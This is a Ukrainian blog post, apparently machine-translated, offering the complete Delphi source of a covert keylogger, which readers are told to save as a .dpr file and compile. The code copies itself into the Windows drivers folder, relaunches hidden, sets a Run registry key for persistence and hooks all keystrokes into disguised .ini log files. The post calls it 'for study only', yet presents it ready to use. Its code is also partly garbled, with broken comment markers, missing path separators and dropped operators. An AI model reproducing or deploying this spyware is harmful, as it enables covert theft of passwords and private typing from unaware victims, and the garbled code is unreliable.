Клавіатурний шпигун за допомогою Delphi

Ось ісходнічек простенького клавіатурніка можете робити з ним що хочете, головне не зазнавайтеся! До основних його преемуществам можу віднести те що він дуже малий для проги такого класу (19кб), що речі ламає переконання про грамоздкості Delphi дає мало місця в оперативці (зазвичай 1-1,5 мб)! Програма абсолютно безопастности і предназдначенна тільки для вивчення!


Ось код:


program ntrty;
//                  KBS ver. 1.0
//
/ / Клавіатурний шпигун, DE @ l Group (c) 2005-2007;
/ / При першому запуску проги відбувається самокопірованія
/ / Програми в шлях dir з ім’ям name! І прописування
/ / В автозавантаження тій копії проги!
/ / Про запуск проги через автозапуск прога кидає
/ / Файлу в шлях:% USERPROFILE% з іменами name + номер + ext
/ / При кожному запуску створюється файл з наступним по
/ / Порядком номером, а при досягненні файлу розміру в
/ / MaxFileSize створюється наступний файл!
/ / При запуску проги в ручну файл зі звітом
/ / Створюється в каталозі з прогою!
/ / 13.04.2007 (п’ятниця)
uses Windows;
const
dir = “C:WINDOWSsystem32drivers”;
name = “ntrty”;
ext = “.ini”;
ARCStr = “cmd /c reg ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v “;
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;
function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon         := ICON;
lpfnWndProc   := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor       := CURSOR;
cbClsExtra    := ClsExtra;
cbWndExtra    := WndExtra;
lpszMenuName  := PChar(MenuName);
end;
Result:=wCls;
end;
function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;
procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;
function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code  -1) and (16 and Code = 0);
end;
function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;
function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;
function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := “;
1: SetLength(Result, 1);
2: ;
else
Result := “;
end;
end;
function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;
function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+”.exe”) then
begin
Copyfile(PChar(paramstr(0)),dir+name+”.exe”,BOOL(0));
WinExec(dir+name+”.exe”,SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+” /t REG_SZ /d “+dir+name+”.exe /f”),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd  0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;
begin
wClass:=WC(hInstance,0,0,0,0,0,15,”MYCLASS”,”,@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, “,0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass(“MYCLASS”,hInstance);
halt(0);
end;
lpWindow(wMsg);
end.


Цей код просто необхідно зберегти в текстовому файлі з розширенням. Dpr і відкрити в Делфі!

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*